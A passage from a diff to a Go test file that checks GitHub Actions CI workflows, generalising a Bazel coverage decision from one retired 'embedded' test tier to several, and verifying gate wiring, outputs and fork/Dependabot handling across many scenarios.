facts, and nothing in it reads a secret. -func TestPRRiskBazelEmbeddedCoverageJob(t *testing.T) { +func TestPRRiskBazelCoverageJob(t *testing.T) { risk := readCIWorkflow(t, prRiskWorkflowName) job := risk.job(t, prRiskCoverageJobName) if len(job.Needs) != 0 || job.If != "" || job.RunsOn != "ubuntu-latest" || len(job.Env) != 0 || job.ContinueOnError || job.TimeoutMinutes == 0 { t.Errorf("%s: needs %v, if %q, runs-on %q, env %v, continue-on-error %v, timeout %d; want no needs, if, env or continue-on-error, ubuntu-latest, a timeout", prRiskCoverageJobName, job.Needs, job.If, job.RunsOn, job.Env, job.ContinueOnError, job.TimeoutMinutes) } - if want := map[string]string{"covered": prRiskCoverageCovered}; !reflect.DeepEqual(job.Outputs, want) { - t.Errorf("%s outputs = %v, want %v", prRiskCoverageJobName, job.Outputs, want) + wantOutputs := map[string]string{} + wantEnv := map[string]string{"PULL_REQUEST": prRiskPullRequestValue, "DEPENDABOT": prRiskDependabotValue} + for _, r := range retiredTiers { + wantOutputs[r.output] = "${{ steps.decide.outputs." + r.output + " }}" + wantEnv[r.envKey] = r.retiredValue() + } + if !reflect.DeepEqual(job.Outputs, wantOutputs) { + t.Errorf("%s outputs = %v, want %v", prRiskCoverageJobName, job.Outputs, wantOutputs) } if prJob := readCIWorkflow(t, "pr.yml").job(t, prRiskCoverageJobName); !reflect.DeepEqual(prJob, job) { t.Errorf("pr.yml's %s differs from pr-risk.yml's:\n%+v\n%+v", prRiskCoverageJobName, prJob, job) } - riskFlag, prFlag := workflowEnv(t, prRiskWorkflowName)[prRiskRetiredFlag], workflowEnv(t, "pr.yml")[prRiskRetiredFlag] - if riskFlag != prFlag || (riskFlag != "true" && riskFlag != "false") { - t.Errorf("%s: pr-risk.yml %q, pr.yml %q; want the same literal \"true\" or \"false\" in both", prRiskRetiredFlag, riskFlag, prFlag) + riskEnv, prEnv := workflowEnv(t, prRiskWorkflowName), workflowEnv(t, "pr.yml") + for _, r := range retiredTiers { + if riskFlag, prFlag := riskEnv[r.flag], prEnv[r.flag]; riskFlag != prFlag || (riskFlag != "true" && riskFlag != "false") { + t.Errorf("%s: pr-risk.yml %q, pr.yml %q; want the same literal \"true\" or \"false\" in both", r.flag, riskFlag, prFlag) + } } step := prRiskCoverageStep(t) rbeStep := readCIWorkflow(t, bazelWorkflowName).job(t, bazelRBEJobName).Steps[0] - wantEnv := map[string]string{"PULL_REQUEST": prRiskPullRequestValue, "RETIRED": prRiskRetiredValue, "DEPENDABOT": prRiskDependabotValue} for _, k := range prRiskSharedDecisionEnv { wantEnv[k] = rbeStep.Env[k] } @@ -209,14 +283,20 @@ func TestPRRiskBazelEmbeddedCoverageJob(t *testing.T) { } // Only the decision step reads the facts; nothing reads a secret or a - // repository variable. + // repository variable; only the workflow env sets a flag. stepEnv := ".jobs." + prRiskCoverageJobName + ".steps[0].env." secretRef := regexp.MustCompile(`\bsecrets\s*(\.|\[)`) - facts := regexp.MustCompile(`(?i)RBE_WEST_WORKERS|\bvars\s*(\.|\[)|head\.repo\.fork|RBE_WEST_EXECUTOR|github\.actor|dependabot|` + prRiskRetiredFlag) + flags := map[string]bool{} + var flagAlt []string + for _, r := range retiredTiers { + flags[r.flag] = true + flagAlt = append(flagAlt, r.flag) + } + facts := regexp.MustCompile(`(?i)RBE_WEST_WORKERS|\bvars\s*(\.|\[)|head\.repo\.fork|RBE_WEST_EXECUTOR|github\.actor|dependabot|BAZEL_RETIRES_|` + strings.Join(flagAlt, "|")) walkYAML(readYAMLNode(t, filepath.Join(".github", "workflows", prRiskWorkflowName)), "", func(path string, key bool, value string) { if key { - if value == prRiskRetiredFlag && path != ".env."+prRiskRetiredFlag { - t.Errorf("%s: %s sets %s; only the workflow env may", prRiskWorkflowName, path, prRiskRetiredFlag) + if flags[value] && path != ".env."+value { + t.Errorf("%s: %s sets %s; only the workflow env may", prRiskWorkflowName, path, value) } return } @@ -224,15 +304,23 @@ func TestPRRiskBazelEmbeddedCoverageJob(t *testing.T) { t.Errorf("%s: %s reads secrets (%q); PR Risk needs none", prRiskWorkflowName, path, value) } if facts.MatchString(value) && !strings.HasPrefix(path, stepEnv) && !strings.HasPrefix(path, ".jobs."+prRiskCoverageJobName+".steps[0].run") { - t.Errorf("%s: %s re-derives the Bazel coverage decision (%q); read needs.%s.outputs.covered", prRiskWorkflowName, path, value, prRiskCoverageJobName) + t.Errorf("%s: %s re-derives the Bazel coverage decision (%q); read needs.%s.outputs", prRiskWorkflowName, path, value, prRiskCoverageJobName) } }) + // Every BAZEL_RETIRES_* flag either workflow commits is one of retiredTiers. + for name, env := range map[string]map[string]string{prRiskWorkflowName: riskEnv, "pr.yml": prEnv} { + for k := range env { + if strings.HasPrefix(k, "BAZEL_RETIRES_") && !flags[k] { + t.Errorf("%s commits %s, which no retiredTiers entry covers", name, k) + } + } + } } // prGateFor: pr.yml's ci-gate scenario for one run whose Bazel call took -// this mode with every lane that runs in it passing, and whose -// bazel-embedded-coverage job said covered. -func prGateFor(t *testing.T, lanes map[string]map[string]bool, event, mode, covered string) bazelGateScenario { +// this mode with every lane that runs in it passing, and whose bazel-coverage +// job reported these outputs. +func prGateFor(t *testing.T, lanes map[string]map[string]bool, event, mode string, covered map[string]string) bazelGateScenario { t.Helper() outputs := map[string]string{} for lane, modes := range lanes { @@ -241,12 +329,21 @@ func prGateFor(t *testing.T, lanes map[string]map[string]bool, event, mode, cove } } return bazelGateScenario{ - name: fmt.Sprintf("%s mode %s covered %s", event, mode, covered), event: event, + name: fmt.Sprintf("%s mode %s covered %v", event, mode, covered), event: event, mode: mode, enabled: strconv.FormatBool(mode == "remote"), call: "success", outputs: outputs, covered: covered, } } +// coveredAll: bazel-coverage outputs with every tier set to v. +func coveredAll(v string) map[string]string { + out := map[string]string{} + for _, r := range retiredTiers { + out[r.output] = v + } + return out +} + // bazelPRCallLanes: the modes each bazel.yml lane runs in under pr.yml's call. func bazelPRCallLanes(t *testing.T, with map[string]string) map[string]map[string]bool { t.Helper() @@ -259,16 +356,17 @@ func bazelPRCallLanes(t *testing.T, with map[string]string) map[string]map[strin return lanes } -// Never both gates green with neither the legacy tier nor the Bazel lane -// having run it. covered (both workflows' actual decision scripts) is the -// committed flag on a same-repo, non-Dependabot pull_request: nothing a -// re-run can change. Across two runs (PR Risk's and pr.yml's, or a re-run of -// either) that see RBE_WEST_WORKERS and the executor secret differently, -// every combination: if PR Risk skipped the legacy tier, pr.yml's actual -// gate step is green only if the lane ran remotely. The happy path (flag, -// variable and secret on) is green with the legacy tier skipped; the kill -// switch (variable off) or a missing secret with the flag still on is red. -func TestPRRiskEmbeddedDecisionMatchesBazelMode(t *testing.T) { +// Never both gates green with neither a legacy tier nor its Bazel lanes +// having run it. covered (both workflows' actual decision scripts) is, per +// tier, the committed flag on a same-repo, non-Dependabot pull_request: +// nothing a re-run can change. Across two runs (PR Risk's and pr.yml's, or a +// re-run of either) that see RBE_WEST_WORKERS and the executor secret +// differently, every combination: if PR Risk skipped a legacy tier, pr.yml's +// actual gate step is green only if the lanes ran remotely. The happy path +// (flags, variable and secret on) is green with the legacy tiers skipped; +// the kill switch (variable off) or a missing secret with a flag still on is +// red, naming that tier's id. +func TestPRRiskDecisionMatchesBazelMode(t *testing.T) { requireHostTool(t, "bash") pr := readCIWorkflow(t, "pr.yml") call := pr.job(t, "bazel") @@ -280,32 +378,48 @@ func TestPRRiskEmbeddedDecisionMatchesBazelMode(t *testing.T) { gateStep := pr.job(t, "ci-gate").step(t, "Evaluate CI gate") lanes := bazelPRCallLanes(t, call.With) - // The Bazel lane PR Risk defers to: remote-only, gated by pr.yml. - if !lanes[bazelEmbedJobName]["remote"] { - t.Fatalf("%s does not run in mode remote", bazelEmbedJobName) - } + // The Bazel lanes PR Risk defers to: remote-only, gated by pr.yml, and + // not skippable in mode remote. gate := pr.job(t, "ci-gate") required := strings.Fields(gateStep.Env["CI_GATE_REQUIRED"]) - for _, id := range []string{bazelLaneGateIDs[bazelEmbedJobName], "BAZEL_EMBEDDED_COVERAGE", "BAZEL_EMBEDDED_RETIRED"} { - if !contains(required, id) { - t.Errorf("pr.yml's ci-gate does not require %s", id) - } - } - if !contains(gate.Needs, "bazel") || !contains(gate.Needs, prRiskCoverageJobName) { - t.Errorf("pr.yml's ci-gate needs %v, want bazel and %s", gate.Needs, prRiskCoverageJobName) - } cmd := exec.Command("bash", filepath.Join(sourceRepoRoot(t), bazelGateScript), "skips") cmd.Env = []string{"PATH=" + os.Getenv("PATH"), "BAZEL_RBE_MODE=remote", "BAZEL_RBE_ENABLED=true"} out, err := cmd.Output() if err != nil { t.Fatal(err) } - if contains(strings.Fields(string(out)), bazelLaneGateIDs[bazelEmbedJobName]) { - t.Fatalf("pr.yml's gate accepts a skipped %s in mode remote", bazelLaneGateIDs[bazelEmbedJobName]) + remoteSkips := strings.Fields(string(out)) + if !contains(required, prRiskCoverageGateID) { + t.Errorf("pr.yml's ci-gate does not require %s", prRiskCoverageGateID) + } + if gateStep.Env[prRiskCoverageGateID] != "${{ needs."+prRiskCoverageJobName+".result }}" { + t.Errorf("pr.yml's ci-gate %s = %q, want the decision job's result", prRiskCoverageGateID, gateStep.Env[prRiskCoverageGateID]) + } + for _, r := range retiredTiers { + if !contains(required, r.retiredID) { + t.Errorf("pr.yml's ci-gate does not require %s", r.retiredID) + } + if gateStep.Env[r.coversEnv] != "${{ needs."+prRiskCoverageJobName+".outputs."+r.output+" }}" { + t.Errorf("pr.yml's ci-gate %s = %q, want needs.%s.outputs.%s", r.coversEnv, gateStep.Env[r.coversEnv], prRiskCoverageJobName, r.output) + } + for _, lane := range r.bazelLanes { + if !lanes[lane]["remote"] { + t.Fatalf("%s does not run in mode remote", lane) + } + if !contains(required, bazelLaneGateIDs[lane]) { + t.Errorf("pr.yml's ci-gate does not require %s", bazelLaneGateIDs[lane]) + } + if contains(remoteSkips, bazelLaneGateIDs[lane]) { + t.Fatalf("pr.yml's gate accepts a skipped %s in mode remote", bazelLaneGateIDs[lane]) + } + } + } + if !contains(gate.Needs, "bazel") || !contains(gate.Needs, prRiskCoverageJobName) { + t.Errorf("pr.yml's ci-gate needs %v, want bazel and %s", gate.Needs, prRiskCoverageJobName) } // Both workflows run for the same PRs, so a PR Risk run that defers - // always has a pr.yml run that gates the lane. + // always has a pr.yml run that gates the lanes. type triggers struct { On struct { PullRequest struct { @@ -326,55 +440,68 @@ func TestPRRiskEmbeddedDecisionMatchesBazelMode(t *testing.T) { t.Fatalf("pull_request triggers differ or are path-filtered: pr.yml %+v, %s %+v", prOn, prRiskWorkflowName, riskOn) } - type decided struct{ covered, prCovered, mode string } + // The decisions: bazel.yml's mode (which reads no flag) and both + // workflows' bazel-coverage outputs. + type decided struct { + covered, prCovered map[string]string + mode string + } + modeMemo := map[rbeFacts]string{} decideMemo := map[rbeFacts]decided{} decide := func(t *testing.T, f rbeFacts) decided { t.Helper() if d, ok := decideMemo[f]; ok { return d } - bazel, err := runDecisionStep(t, rbeStep, f, call.With) - if err != nil { - t.Fatalf("bazel.yml rbe step: %v", err) + noFlags := f + noFlags.retired = [2]string{} + mode, ok := modeMemo[noFlags] + if !ok { + bazel, err := runDecisionStep(t, rbeStep, f, call.With) + if err != nil { + t.Fatalf("bazel.yml rbe step: %v", err) + } + mode = bazel["mode"] + modeMemo[noFlags] = mode } risk, err := runDecisionStep(t, riskStep, f, nil) - if err != nil || len(risk) != 1 { + if err != nil || len(risk) != len(retiredTiers) { t.Fatalf("%s decision step: %v %v", prRiskCoverageJobName, risk, err) } prd, err := runDecisionStep(t, prStep, f, nil) if err != nil { t.Fatalf("pr.yml %s step: %v", prRiskCoverageJobName, err) } - d := decided{risk["covered"], prd["covered"], bazel["mode"]} + d := decided{risk, prd, mode} decideMemo[f] = d return d } // One run's facts: the decision itself. - sawCovered, sawLegacy := false, false + saw := map[string]bool{} for _, f := range rbeFactsMatrix() { d := decide(t, f) - want := strings.EqualFold(f.retired, "true") && f.event == "pull_request" && !f.fork && !f.dependabot - if d.covered != strconv.FormatBool(want) || d.prCovered != d.covered { - t.Errorf("%v: covered = %q (pr.yml %q), want %v", f, d.covered, d.prCovered, want) - } - if want { - sawCovered = true - } else { - sawLegacy = true + for i, r := range retiredTiers { + want := f.covers(i) + if d.covered[r.output] != strconv.FormatBool(want) || d.prCovered[r.output] != d.covered[r.output] { + t.Errorf("%v: %s = %q (pr.yml %q), want %v", f, r.output, d.covered[r.output], d.prCovered[r.output], want) + } + saw[r.output+"="+strconv.FormatBool(want)] = true } } - if !sawCovered || !sawLegacy { - t.Errorf("matrix never exercised both outcomes (covered %v, legacy %v)", sawCovered, sawLegacy) + for _, r := range retiredTiers { + if !saw[r.output+"=true"] || !saw[r.output+"=false"] { + t.Errorf("matrix never exercised both outcomes of %s: %v", r.output, saw) + } } // Two runs (PR Risk's and pr.yml's, each possibly re-run) that agree on // everything committed or fixed by the PR and differ in what an admin can // change between them: the variable and the secret. gateMemo := map[string]bool{} - prGatePasses := func(t *testing.T, event, mode, covered string) bool { + prGatePasses := func(t *testing.T, event, mode string, covered map[string]string) bool { t.Helper() - key := event + "/" + mode + "/" + covered + key := fmt.Sprint(event, "/", mode, "/", covered) if pass, ok := gateMemo[key]; ok { return pass } @@ -392,80 +519,112 @@ func TestPRRiskEmbeddedDecisionMatchesBazelMode(t *testing.T) { g := f g.rbeVar, g.secret = v, secret prRun := decide(t, g) - legacyRan := risk.covered != "true" bazelRan := prRun.mode == "remote" // and passed: every lane succeeds here - if !legacyRan && !bazelRan && prGatePasses(t, g.event, prRun.mode, prRun.prCovered) { - t.Errorf("PR Risk run %v skipped the legacy tier and pr.yml run (var %q, secret %v, mode %s, covered %s) is green without the Bazel lane", - f, v, secret != "", prRun.mode, prRun.prCovered) + for _, r := range retiredTiers { + legacyRan := risk.covered[r.output] != "true" + if !legacyRan && !bazelRan && prGatePasses(t, g.event, prRun.mode, prRun.prCovered) { + t.Errorf("PR Risk run %v skipped the legacy %s tier and pr.yml run (var %q, secret %v, mode %s, covered %v) is green without its Bazel lanes", + f, r.output, v, secret != "", prRun.mode, prRun.prCovered) + } } } } } - // Named cases, for the record (with the committed flag on). Forks and - // Dependabot run in mode cache, which, like local, skips the remote-only - // embedded lane, so they keep the legacy tier. + // Named cases, for the record. Forks and Dependabot run in mode cache, + // which, like local, skips the remote-only lanes, so they keep the + // legacy tiers. reds: the retired ids a red gate must name. + both, embOnly, dsOnly, none := [2]string{"true", "true"}, [2]string{"true", "false"}, [2]string{"false", "true"}, [2]string{"false", "false"} for _, c := range []struct { name string f rbeFacts mode string - covered string + covered map[string]string prPasses bool + reds []string }{ - {"same-repo PR, farm on", rbeFacts{"pull_request", "true", "x", false, "true", false}, "remote", "true", true}, - {"same-repo PR, kill switch (var unset)", rbeFacts{"pull_request", "", "x", false, "true", false}, "skip", "true", false}, - {"same-repo PR, executor secret missing", rbeFacts{"pull_request", "true", "", false, "true", false}, "cache", "true", false}, - {"same-repo PR, flag reverted, var unset", rbeFacts{"pull_request", "", "x", false, "false", false}, "skip", "false", true}, - {"same-repo PR, flag reverted, secret missing", rbeFacts{"pull_request", "true", "", false, "false", false}, "cache", "false", true}, - {"fork PR", rbeFacts{"pull_request", "true", "", true, "true", false}, "cache", "false", true}, - {"fork PR, var unset", rbeFacts{"pull_request", "", "", true, "true", false}, "cache", "false", true}, - {"fork PR somehow with a secret", rbeFacts{"pull_request", "true", "x", true, "true", false}, "cache", "false", true}, - {"Dependabot PR (no Actions secrets)", rbeFacts{"pull_request", "true", "", false, "true", true}, "cache", "false", true}, - {"Dependabot PR, var unset", rbeFacts{"pull_request", "", "", false, "true", true}, "skip", "false", true}, - {"merge_group", rbeFacts{"merge_group", "true", "x", false, "true", false}, "remote", "false", true}, - {"merge_group, var unset", rbeFacts{"merge_group", "", "x", false, "true", false}, "skip", "false", true}, + {"same-repo PR, farm on", rbeFacts{"pull_request", "true", "x", false, both, false}, "remote", coveredAll("true"), true, nil}, + {"same-repo PR, kill switch (var unset)", rbeFacts{"pull_request", "", "x", false, both, false}, "skip", coveredAll("true"), false, []string{"BAZEL_EMBEDDED_RETIRED", "BAZEL_DOLT_SERVER_RETIRED"}}, + {"same-repo PR, executor secret missing", rbeFacts{"pull_request", "true", "", false, both, false}, "cache", coveredAll("true"), false, []string{"BAZEL_EMBEDDED_RETIRED", "BAZEL_DOLT_SERVER_RETIRED"}}, + {"same-repo PR, only embedded retired, var unset", rbeFacts{"pull_request", "", "x", false, embOnly, false}, "skip", map[string]string{"embedded": "true", "dolt_server": "false"}, false, []string{"BAZEL_EMBEDDED_RETIRED"}}, + {"same-repo PR, only proxied/server retired, var unset", rbeFacts{"pull_request", "", "x", false, dsOnly, false}, "skip", map[string]string{"embedded": "false", "dolt_server": "true"}, false, []string{"BAZEL_DOLT_SERVER_RETIRED"}}, + {"same-repo PR, flags reverted, var unset", rbeFacts{"pull_request", "", "x", false, none, false}, "skip", coveredAll("false"), true, nil}, + {"same-repo PR, flags reverted, secret missing", rbeFacts{"pull_request", "true", "", false, none, false}, "cache", coveredAll("false"), true, nil}, + {"fork PR", rbeFacts{"pull_request", "true", "", true, both, false}, "cache", coveredAll("false"), true, nil}, + {"fork PR, var unset", rbeFacts{"pull_request", "", "", true, both, false}, "cache", coveredAll("false"), true, nil}, + {"fork PR somehow with a secret", rbeFacts{"pull_request", "true", "x", true, both, false}, "cache", coveredAll("false"), true, nil}, + {"Dependabot PR (no Actions secrets)", rbeFacts{"pull_request", "true", "", false, both, true}, "cache", coveredAll("false"), true, nil}, + {"Dependabot PR, var unset", rbeFacts{"pull_request", "", "", false, both, true}, "skip", coveredAll("false"), true, nil}, + {"merge_group", rbeFacts{"merge_group", "true", "x", false, both, false}, "remote", coveredAll("false"), true, nil}, + {"merge_group, var unset", rbeFacts{"merge_group", "", "x", false, both, false}, "skip", coveredAll("false"), true, nil}, } { d := decide(t, c.f) - if d.covered != c.covered || d.mode != c.mode { - t.Errorf("%s: covered = %q, mode = %q; want %s, %s", c.name, d.covered, d.mode, c.covered, c.mode) + if !reflect.DeepEqual(d.covered, c.covered) || d.mode != c.mode { + t.Errorf("%s: covered = %v, mode = %q; want %v, %s", c.name, d.covered, d.mode, c.covered, c.mode) } - if pass, out := runPRGateStep(t, gateStep, prGateFor(t, lanes, c.f.event, d.mode, d.prCovered)); pass != c.prPasses { + pass, out := runPRGateStep(t, gateStep, prGateFor(t, lanes, c.f.event, d.mode, d.prCovered)) + if pass != c.prPasses { t.Errorf("%s: pr.yml gate pass = %v, want %v\n%s", c.name, pass, c.prPasses, out) - } else if !pass && !regexp.MustCompile(`::error::BAZEL_EMBEDDED_RETIRED\b`).MatchString(out) { - t.Errorf("%s: red pr.yml gate does not name BAZEL_EMBEDDED_RETIRED:\n%s", c.name, out) + } + for _, r := range retiredTiers { + named := regexp.MustCompile(`::error::` + r.retiredID + `\b`).MatchString(out) + if named != contains(c.reds, r.retiredID) { + t.Errorf("%s: red gate names %s = %v, want %v:\n%s", c.name, r.retiredID, named, contains(c.reds, r.retiredID), out) + } } } - // Covered, remote, but the lane failed, was cancelled or reported - // nothing: red, naming the retirement too. - for _, res := range []string{"failure", "cancelled", ""} { - sc := prGateFor(t, lanes, "pull_request", "remote", "true") - sc.outputs[bazelEmbedJobName] = res - if pass, out := runPRGateStep(t, gateStep, sc); pass || !strings.Contains(out, "::error::BAZEL_EMBEDDED_RETIRED") { - t.Errorf("covered, embedded lane %q: gate pass = %v, want red naming BAZEL_EMBEDDED_RETIRED\n%s", res, pass, out) + for _, r := range retiredTiers { + // Covered, remote, but one of the tier's lanes failed, was cancelled + // or reported nothing: red, naming the retirement too. The other + // tier's lanes' results do not matter to this id. + for _, lane := range r.bazelLanes { + for _, res := range []string{"failure", "cancelled", ""} { + sc := prGateFor(t, lanes, "pull_request", "remote", coveredAll("true")) + sc.outputs[lane] = res + if pass, out := runPRGateStep(t, gateStep, sc); pass || !strings.Contains(out, "::error::"+r.retiredID) { + t.Errorf("covered, %s lane %s %q: gate pass = %v, want red naming %s\n%s", r.output, lane, res, pass, r.retiredID, out) + } + // Not covered: the lane's own id still reds the gate, but the + // retirement check does not fire. + sc.covered = coveredAll("false") + if pass, out := runPRGateStep(t, gateStep, sc); pass || strings.Contains(out, "::error::"+r.retiredID) { + t.Errorf("not covered, %s lane %s %q: gate pass = %v, want red without %s\n%s", r.output, lane, res, pass, r.retiredID, out) + } + } } - } - // Covered, and an embedded result of success the mode cannot produce - // (the lane runs only in mode remote): the mode alone still makes it red. - for _, mode := range []string{"skip", "local", "cache"} { - sc := prGateFor(t, lanes, "pull_request", mode, "true") - sc.outputs[bazelEmbedJobName] = "success" - if pass, out := runPRGateStep(t, gateStep, sc); pass || !strings.Contains(out, "::error::BAZEL_EMBEDDED_RETIRED") { - t.Errorf("covered, mode %s, embedded reported success: gate pass = %v, want red naming BAZEL_EMBEDDED_RETIRED\n%s", mode, pass, out) + // Covered, and lane results of success the mode cannot produce (the + // lanes run only in mode remote): the mode alone still makes it red. + for _, mode := range []string{"skip", "local", "cache"} { + cov := coveredAll("false") + cov[r.output] = "true" + sc := prGateFor(t, lanes, "pull_request", mode, cov) + for _, lane := range r.bazelLanes { + sc.outputs[lane] = "success" + } + if pass, out := runPRGateStep(t, gateStep, sc); pass || !strings.Contains(out, "::error::"+r.retiredID) { + t.Errorf("%s covered, mode %s, lanes reported success: gate pass = %v, want red naming %s\n%s", r.output, mode, pass, r.retiredID, out) + } } } // pr.yml's coverage job failed: red even where nothing is retired. for _, res := range []string{"failure", "cancelled", "skipped"} { - sc := prGateFor(t, lanes, "pull_request", "skip", "") + sc := prGateFor(t, lanes, "pull_request", "skip", coveredAll("")) sc.coverage = res - if pass, out := runPRGateStep(t, gateStep, sc); pass || !strings.Contains(out, "::error::BAZEL_EMBEDDED_COVERAGE") { - t.Errorf("coverage job %s: gate pass = %v, want red naming BAZEL_EMBEDDED_COVERAGE\n%s", res, pass, out) + if pass, out := runPRGateStep(t, gateStep, sc); pass || !strings.Contains(out, "::error::"+prRiskCoverageGateID) { + t.Errorf("coverage job %s: gate pass = %v, want red naming %s\n%s", res, pass, prRiskCoverageGateID, out) } } // A value that is not a boolean fails the job rather than deciding. - if out, err := runBazelRBEDecision(t, riskStep.Run, map[string]string{ - "RETIRED": "true", "PULL_REQUEST": "true", "FORK": "", "DEPENDABOT": "false", - }); err == nil { - t.Errorf("decision with FORK='' succeeded with %v; want failure", out) + base := map[string]string{"PULL_REQUEST": "true", "FORK": "false", "DEPENDABOT": "false"} + for _, r := range retiredTiers { + base[r.envKey] = "true" + } + for k := range base { + env := copyMap(base) + env[k] = "" + if out, err := runBazelRBEDecision(t, riskStep.Run, env); err == nil { + t.Errorf("decision with %s='' succeeded with %v; want failure", k, out) + } } } @@ -513,67 +672,121 @@ func runPRRiskGateStep(t *testing.T, step ciWorkflowStep, sc prRiskGateScenario) return err == nil, string(out) } -// The legacy embedded test jobs skip only when covered, and PR Risk's gate -// accepts their skip only then: the jobs' needs and if, the gate's wiring, -// and the actual gate step over every tier x decision, including a missing, -// failed or non-true decision with the jobs skipped (red). -func TestPRRiskLegacyEmbeddedTierDefersToBazelLane(t *testing.T) { +// The legacy tiers' test jobs skip only when their tier is covered, and +// build-embedded (whose artifact only they consume) only when every tier is; +// PR Risk's gate accepts those skips only then: the jobs' needs and if, the +// gate's wiring, and the actual gate step over every risk tier x decision, +// including a missing, failed or non-true decision with the jobs skipped +// (red). +func TestPRRiskLegacyTiersDeferToBazelLanes(t *testing.T) { requireHostTool(t, "bash") risk := readCIWorkflow(t, prRiskWorkflowName) - for _, name := range prRiskBazelCoveredJobs { + retired := retiredJobs() + for name, r := range retired { job := risk.job(t, name) - if job.If != prRiskBazelCoveredIf { - t.Errorf("%s if = %q, want %q", name, job.If, prRiskBazelCoveredIf) + if job.If != r.legacyIf() { + t.Errorf("%s if = %q, want %q", name, job.If, r.legacyIf()) } - if want := []string{"detect-ci-tier", prRiskCoverageJobName, "build-embedded"}; !reflect.DeepEqual([]string(job.Needs), want) { + if want := []string{"detect-ci-tier", prRiskCoverageJobName, prRiskBuildEmbeddedJob}; !reflect.DeepEqual([]string(job.Needs), want) { t.Errorf("%s needs = %v, want %v", name, job.Needs, want) } } - // Every other job ignores the decision (build-embedded's artifact feeds - // the proxied and server Dolt jobs, which Bazel does not replace here). - covered := map[string]bool{} - for _, name := range prRiskBazelCoveredJobs { - covered[name] = true + build := risk.job(t, prRiskBuildEmbeddedJob) + if build.If != prRiskBuildEmbeddedIf { + t.Errorf("%s if = %q, want %q", prRiskBuildEmbeddedJob, build.If, prRiskBuildEmbeddedIf) + } + if want := []string{"detect-ci-tier", prRiskCoverageJobName}; !reflect.DeepEqual([]string(build.Needs), want) { + t.Errorf("%s needs = %v, want %v", prRiskBuildEmbeddedJob, build.Needs, want) + } + // build-embedded's artifact has no consumer but the retired jobs (so + // skipping it where they all skip loses nothing), and no other job + // depends on the decision. + var artifact string + for _, step := range build.Steps { + if strings.HasPrefix(step.Uses, "actions/upload-artifact@") { + if artifact != "" { + t.Errorf("%s uploads more than one artifact", prRiskBuildEmbeddedJob) + } + artifact = step.With["name"] + } + } + if artifact == "" { + t.Fatalf("%s uploads no artifact", prRiskBuildEmbeddedJob) } for name, job := range risk.Jobs { - if covered[name] || name == "ci-gate" || name == prRiskCoverageJobName { + consumes := false + for _, step := range job.Steps { + if strings.HasPrefix(step.Uses, "actions/download-artifact@") && (step.With["name"] == artifact || step.With["name"] == "" || strings.Contains(step.With["pattern"], "*")) { + consumes = true + } + } + _, isRetired := retired[name] + if consumes != isRetired { + t.Errorf("%s downloads %s = %v; want exactly the retired jobs %v to", name, artifact, consumes, retiredJobNames()) + } + if contains(job.Needs, prRiskBuildEmbeddedJob) && !isRetired && name != "ci-gate" { + t.Errorf("%s needs %s; only the retired jobs may (it skips where they all do)", name, prRiskBuildEmbeddedJob) + } + if isRetired || name == "ci-gate" || name == prRiskCoverageJobName || name == prRiskBuildEmbeddedJob { continue } if strings.Contains(job.If, prRiskCoverageJobName) || contains(job.Needs, prRiskCoverageJobName) { - t.Errorf("%s depends on %s; only %v may stand down", name, prRiskCoverageJobName, prRiskBazelCoveredJobs) + t.Errorf("%s depends on %s; only %v and %s may stand down", name, prRiskCoverageJobName, retiredJobNames(), prRiskBuildEmbeddedJob) } } gate := risk.job(t, "ci-gate") step := gate.step(t, "Evaluate CI gate") required := strings.Fields(step.Env["CI_GATE_REQUIRED"]) - if !contains(gate.Needs, prRiskCoverageJobName) || !contains(required, "BAZEL_EMBEDDED_COVERAGE") || - step.Env["BAZEL_EMBEDDED_COVERAGE"] != "${{ needs."+prRiskCoverageJobName+".result }}" || - step.Env["BAZEL_COVERS_EMBEDDED"] != "${{ needs."+prRiskCoverageJobName+".outputs.covered }}" { - t.Errorf("pr-risk ci-gate does not require %s's result and read its covered output: needs %v, env %v", prRiskCoverageJobName, gate.Needs, step.Env) + if !contains(gate.Needs, prRiskCoverageJobName) || !contains(required, prRiskCoverageGateID) || + step.Env[prRiskCoverageGateID] != "${{ needs."+prRiskCoverageJobName+".result }}" { + t.Errorf("pr-risk ci-gate does not require %s's result: needs %v, env %v", prRiskCoverageJobName, gate.Needs, step.Env) } - for _, id := range prRiskBazelCoveredIDs { - if !contains(required, id) { - t.Errorf("pr-risk ci-gate no longer requires %s (it runs wherever the Bazel lane does not)", id) + for _, r := range retiredTiers { + if step.Env[r.coversEnv] != "${{ needs."+prRiskCoverageJobName+".outputs."+r.output+" }}" { + t.Errorf("pr-risk ci-gate %s = %q, want needs.%s.outputs.%s", r.coversEnv, step.Env[r.coversEnv], prRiskCoverageJobName, r.output) } } + for name, r := range retired { + if !contains(required, r.jobs[name]) { + t.Errorf("pr-risk ci-gate no longer requires %s (it runs wherever the Bazel lanes do not)", r.jobs[name]) + } + } + if !contains(required, prRiskBuildEmbeddedID) { + t.Errorf("pr-risk ci-gate no longer requires %s", prRiskBuildEmbeddedID) + } + gateID := func(job string) string { + if r, ok := retired[job]; ok { + return r.jobs[job] + } + if job == prRiskBuildEmbeddedJob { + return prRiskBuildEmbeddedID + } + return "" + } - // Each gated job's result for (tier, decision), as the jobs' if: produce - // it: needs.* outputs are strings, so only covered == 'true' skips. - results := func(full bool, coverageResult, coveredOut string) map[string]string { + // Each gated job's result for (tier, decision), as the jobs' if: and + // needs produce it: needs.* outputs are strings, so only 'true' skips; + // a failed decision job skips its dependents, and a skipped + // build-embedded skips its consumers. + results := func(full bool, coverageResult string, cov map[string]string) map[string]string { r := map[string]string{} for _, job := range gate.Needs { r[job] = "success" } r[prRiskCoverageJobName] = coverageResult + decided := coverageResult == "success" + buildRuns := full && decided && (cov["embedded"] != "true" || cov["dolt_server"] != "true") + if !buildRuns { + r[prRiskBuildEmbeddedJob] = "skipped" + } for name := range risk.Jobs { - if !contains(gate.Needs, name) || name == "detect-ci-tier" || name == prRiskCoverageJobName || name == "test-nix" { + if !contains(gate.Needs, name) || name == "detect-ci-tier" || name == prRiskCoverageJobName || name == "test-nix" || name == prRiskBuildEmbeddedJob { continue } runs := full - if covered[name] { - // A failed decision job skips its dependents. - runs = full && coverageResult == "success" && coveredOut != "true" + if tier, ok := retired[name]; ok { + runs = full && decided && buildRuns && cov[tier.output] != "true" } if !runs { r[name] = "skipped" @@ -581,39 +794,36 @@ func TestPRRiskLegacyEmbeddedTierDefersToBazelLane(t *testing.T) { } return r } - outputs := func(full bool, coveredOut string) map[string]string { - return map[string]string{ - "detect-ci-tier.full_embedded": strconv.FormatBool(full), - prRiskCoverageJobName + ".covered": coveredOut, + outputs := func(full bool, cov map[string]string) map[string]string { + o := map[string]string{"detect-ci-tier.full_embedded": 